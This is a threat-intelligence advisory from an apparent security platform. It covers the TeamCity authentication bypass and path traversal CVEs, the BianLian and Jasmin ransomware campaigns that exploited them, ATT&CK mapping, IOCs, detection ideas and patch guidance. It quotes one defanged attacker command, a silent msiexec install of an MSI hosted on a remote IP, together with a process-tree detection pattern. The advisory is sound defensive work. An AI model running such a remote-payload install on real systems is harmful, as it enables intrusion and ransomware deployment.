JetBrains TeamCity Authentication Bypass & Path Traversal (CVE-2024-27198, CVE-2024-27199) — CISA KEV-Listed, Two Independently Confirmed Ransomware Campaigns

Executive Summary

Two vulnerabilities disclosed together by JetBrains on 2024-03-04 in TeamCity On-Premises allow an unauthenticated attacker with HTTP(S) access to the server to gain administrative control: CVE-2024-27198, an authentication bypass (CVSS 9.8, NVD), and CVE-2024-27199, a companion path traversal flaw (CVSS 7.3, NVD) that alone permits only limited admin actions. Both carry EPSS scores above the 99.9th percentile — among the highest exploitation probabilities EPSS assigns to any scored CVE — and both are CISA KEV-listed with knownRansomwareCampaignUse: Known. Unlike this platform's prior report (SA-2026-0002), where a ransomware attribution could not be independently verified, this report confirms two distinct, independently sourced ransomware campaigns exploiting this vulnerability pair: BianLian (per GuidePoint Security's own direct observation) and a separate strain named Jasmin (per Trend Micro's own telemetry, including a concrete technical chain and file-level indicators of compromise). All affected organizations should already be at or past their KEV remediation deadline — CVE-2024-27198's deadline (2024-03-28) is now roughly two years overdue.

Executive Risk Snapshot

Why This Matters

JetBrains' own advisory bundles both CVEs into a single remediation narrative — "an unauthenticated attacker ... to bypass authentication checks and gain administrative control" — without technically distinguishing what CVE-2024-27198 alone achieves versus CVE-2024-27199 alone. [Verified Fact] (HIGH CONFIDENCE) NVD's independent scoring shows the two are not equivalent in isolation: CVE-2024-27198's impact vector is C:H/I:H/A:H (complete compromise), while CVE-2024-27199's is C:L/I:L/A:L (limited admin actions only). [Verified Fact] (HIGH CONFIDENCE) [Analyst Assessment] (MEDIUM CONFIDENCE) — an organization that patched only far enough to close the lower-scored CVE-2024-27199 without also confirming CVE-2024-27198 is remediated would still be fully exposed to unauthenticated administrative compromise; because JetBrains ships one combined fix (2023.11.4) for both, this distinction is unlikely to matter in practice for anyone who applied the vendor's actual patch, but it would matter for anyone relying on a partial mitigation or a security scanner that checks for only one of the two CVE identifiers.

A second point worth surfacing: CISA added CVE-2024-27198 to the KEV catalog on 2024-03-07, three days after disclosure, but did not add the companion CVE-2024-27199 until 2026-04-20 — over two years later. [Verified Fact] (HIGH CONFIDENCE), independently confirmed via the live CISA KEV feed. [Intelligence Gap] — no source available to this platform (CISA's own catalog notes, JetBrains, or the two vendor writeups below) explains this gap; it is reported as an observed fact, not interpreted as evidence of a later, separate exploitation wave, since no source confirms that reading either.

Verified Facts — Vulnerability Fact Sheet

Independently Verified Exploitation — Two Distinct Ransomware Campaigns

[Verified Fact] (HIGH CONFIDENCE) GuidePoint Security states, as its own direct observation rather than a citation of another source: "researchers from GuidePoint Security observed BianLian ransomware exploiting vulnerabilities in JetBrains TeamCity software in recent attacks," dated to early March 2024. GuidePoint's article separately notes Trend Micro observed the same CVE pair being used to deliver other malware families, without GuidePoint itself naming those families or attributing them to a specific actor.

[Verified Fact] (HIGH CONFIDENCE) Trend Micro states, from its own telemetry ("we observed the following process tree via our telemetry"), a fully independent intrusion chain culminating in a ransomware strain it names Jasmin — distinct from BianLian, with no source available to this platform connecting the two. Published 2024-03-19. Full technical chain and IOCs below.

This platform found no primary source explicitly stating whether BianLian and the Jasmin-deploying actor are the same operator, affiliates, or entirely unrelated opportunistic actors independently scanning for the same unauthenticated, internet-facing vulnerability — a common pattern once public proof-of-concept exploit code exists for a KEV-listed, unauthenticated RCE-adjacent flaw. [Intelligence Gap]

Technical Analysis

1. Precondition — a TeamCity On-Premises server, version 2023.11.3 or earlier, is reachable over HTTP(S) by the attacker. [Verified Fact] (HIGH CONFIDENCE)
2. Initial access — the attacker exploits the internet-facing TeamCity server's authentication bypass (CVE-2024-27198) or, for the more limited admin-action path, the path traversal flaw (CVE-2024-27199), gaining unauthenticated administrative access. [Verified Fact] (HIGH CONFIDENCE) — JetBrains' advisory does not technically distinguish the two request-level mechanisms beyond their respective CWE classes (CWE-288 vs. CWE-23); no deeper technical write-up disaggregating the two was located in sources available to this platform. [Intelligence Gap]
3. Execution (Jasmin chain, per Trend Micro's own observed process tree) — TeamCity's own bundled Java runtime process (C:\TeamCity\jre\bin\java.exe) spawns cmd.exe, which invokes msiexec to silently install a remotely hosted MSI package: msiexec /q /i hxxp://207.246.102[.]242:56641/ABC.msi. [Verified Fact] (HIGH CONFIDENCE) — Trend Micro's own first-party telemetry, not a third-party citation.
4. Payload delivery — the MSI package drops a portable-executable (PE) payload to disk. [Verified Fact] (HIGH CONFIDENCE)
5. Impact — the dropped PE executes and encrypts victim files, appending a .lsoc extension to encrypted files and dropping a ransom note file named un-lock your files.html, which itself uses obfuscated JavaScript to render its displayed ransom text. Trend Micro names this ransomware strain "Jasmin." [Verified Fact] (HIGH CONFIDENCE)
6. Separate campaign (BianLian) — GuidePoint Security's own telemetry independently confirms a second, distinct campaign using the same vulnerability pair to deploy BianLian ransomware; no process-level or file-level technical detail for this specific campaign was published in the source available to this platform. [Verified Fact] (MEDIUM CONFIDENCE — attribution and ransomware family are HIGH confidence per GuidePoint's own direct claim; execution-chain detail is not available for this specific campaign, unlike the Jasmin chain above)

MITRE ATT&CK Mapping

System Binary Proxy Execution (msiexec) is not mapped as T1218.007. This platform's curated ATT&CK technique set (attack_mapper.py KNOWN_TECHNIQUES) currently includes the T1218 parent (System Binary Proxy Execution) and its Mshta sub-technique (T1218.005) but has no entry — and no lexicon pattern — for T1218.007 (Msiexec), despite msiexec being the exact LOLBin this report's own verified attack chain documents. Forcing an uncurated ID onto this mechanism would repeat the imprecise-mapping failure mode this platform's quality gate exists to catch; instead this gap is recorded here as new evidence and addressed separately (see Lessons Learned / platform/open-issues.md).

This report's own automated graph ingestion also produced T1071 (Application Layer Protocol) — deliberately not included in the table above. Cross-checking this report's manually authored ATT&CK table against what cli.py graph actually extracted from the same document surfaced a divergence: T1071 was matched from the literal words "Command and Control" appearing as this table's own Tactic column label for the T1105 row, not from any sentence claiming a command-and-control channel was used. No evidence in this report supports a genuine T1071 finding, and it is excluded here on that basis. This is a real false positive with a different root cause than the T1486 conflations already tracked in Issue 9 (a document's own output section colliding with the input the mapper scans, rather than sentence-level negation) and is recorded as new evidence in platform/open-issues.md rather than fixed in this pass. It also means the knowledge graph's report:sa-2026-0003 → technique:t1071 edge should be read as unconfirmed by this report's own analyst-authored findings, not as an additional technique this report asserts.

IOC Intelligence

Indicators below are attributed to Trend Micro's own published telemetry for the Jasmin ransomware chain specifically — they are not independently re-observed by this platform, which has no sample or live telemetry access of its own. They should be validated against an organization's own environment before blocking.

No indicators of compromise were published for the separately confirmed BianLian campaign in the source available to this platform (GuidePoint Security's article). [Intelligence Gap]

Behavioral Indicators & Detection Opportunities

• Any TeamCity server's bundled Java process (java.exe under a TeamCity install path) spawning cmd.exe, which in turn spawns msiexec.exe with a remote (HTTP/HTTPS) /i source argument, is a strong anomaly signal — a build server's own JVM has no legitimate reason to install software via a remotely hosted MSI. [Analyst Assessment] (HIGH CONFIDENCE) — direct extrapolation of Trend Micro's own documented process tree into a general-purpose hunting rule.
• Outbound connections from a TeamCity host to non-corporate IP addresses on unusual ports (Trend Micro's observed case used port 56641) shortly after any TeamCity administrative action performed by an unrecognized or unexpected account.
• Any file matching *.lsoc or a dropped file named un-lock your files.html on a host reachable from a TeamCity server is a post-compromise indicator, not a preventive signal — its presence means encryption has already occurred.
• Confirm no TeamCity On-Premises instance below 2023.11.4 remains exposed; treat any such instance, patched or not, as requiring an administrative account and access-log review for the period it ran an affected build, since both confirmed campaigns achieved administrative access before any ransomware payload executed.

Detection guidance

No Sigma rule is provided for this report, for the same reason stated in SA-2026-0002: this platform did not independently confirm exact TeamCity/Windows Sysmon field names against a live log export in the sources available (Trend Micro's writeup describes a process tree in prose, not a structured log schema). Publishing a Sigma rule built on inferred field names would present false technical precision. The process-tree pattern described above (java.exe → cmd.exe → msiexec.exe with a remote /i argument) is a sound concept to translate into an organization's own confirmed Sysmon/EDR schema.

Vulnerability Management Guidance

Patch prioritization: Emergency, unconditionally. Two independently confirmed ransomware campaigns, EPSS scores above the 99.9th percentile for both CVEs, and a KEV deadline now roughly two years overdue leave no reasonable basis to treat this as anything other than immediate.

If immediate patching is impossible: JetBrains' own advisory states the interim mitigation is to remove the server from public internet exposure entirely — there is no configuration-level workaround documented by the vendor for this CVE pair (unlike SA-2026-0002, where two in-product workarounds existed). Any organization that cannot patch and cannot take the server offline is, per the vendor's own guidance, without a documented mitigation option.

Regulatory Impact

CVE-2024-27198's CISA KEV remediation deadline (2024-03-28) applied to US federal civilian executive branch agencies and is roughly two years overdue as of this report's date — among the most overdue KEV deadlines this platform has documented to date. Non-federal organizations are not legally bound by the federal directive but should treat two years of KEV-listed, ransomware-confirmed, unpatched exposure as a severe finding in any security audit or incident review.

Intelligence Gaps

• No source available to this platform confirms whether the BianLian campaign and the Jasmin campaign are operated by the same actor, affiliated actors, or unrelated opportunistic operators.
• No technical, request-level detail distinguishes exactly how CVE-2024-27198 and CVE-2024-27199 are each exploited; JetBrains' advisory describes only the combined outcome.
• No indicators of compromise have been published for the BianLian campaign specifically.
• No source explains the roughly two-year gap between CISA's KEV addition of CVE-2024-27198 (2024-03-07) and CVE-2024-27199 (2026-04-20).
• No specific victim organizations or sectors have been named by any source available to this platform.

Confidence Assessment

References

1. CVE-2024-27198 (live JSON record, queried at report generation time). NVD REST API. https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2024-27198
2. CVE-2024-27199 (live JSON record, queried at report generation time). NVD REST API. https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2024-27199
3. EPSS scores (live queries at report generation time). FIRST.org. https://api.first.org/data/v1/epss?cve=CVE-2024-27198 ; https://api.first.org/data/v1/epss?cve=CVE-2024-27199
4. CISA Known Exploited Vulnerabilities Catalog (live feed, queried at report generation time). https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
5. Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024-27198 and CVE-2024-27199) — Update to 2023.11.4 Now. JetBrains TeamCity Blog (live-fetched). https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/
6. TeamCity Vulnerability Exploits Lead to Jasmin Ransomware, Other Malware Types. Trend Micro Research (live-fetched). https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html
7. Threat Actors Actively Exploit JetBrains TeamCity Flaws to Deliver Malware. GuidePoint Security (live-fetched). https://www.guidepointsecurity.com/newsroom/threat-actors-actively-exploit-jetbrains-teamcity-flaws-to-deliver-malware/

Sentinel APEX Analyst Conclusion

CVE-2024-27198 and CVE-2024-27199 are KEV-listed, EPSS-ranked above the 99.9th percentile, and — unlike SA-2026-0002 — carry ransomware attribution this platform could independently confirm from two separate first-party sources rather than an unreferenced aggregator headline: BianLian (per GuidePoint Security's direct observation) and a distinct strain, Jasmin (per Trend Micro's own telemetry, complete with a documented execution chain and file-level IOCs). CVE-2024-27198's federal remediation deadline is roughly two years overdue. Enterprises running any TeamCity On-Premises build through 2023.11.3 should patch to 2023.11.4 immediately; where patching is not immediately possible, JetBrains' own guidance is to remove the server from public internet exposure, as no in-product workaround exists for this pair. Given that administrative access was achieved before ransomware execution in the confirmed chain, any previously affected instance — patched or not — warrants an administrative-account and access-log review covering the period it ran an affected build.

CyberDudeBivash® Sentinel APEX — Threat Intelligence Division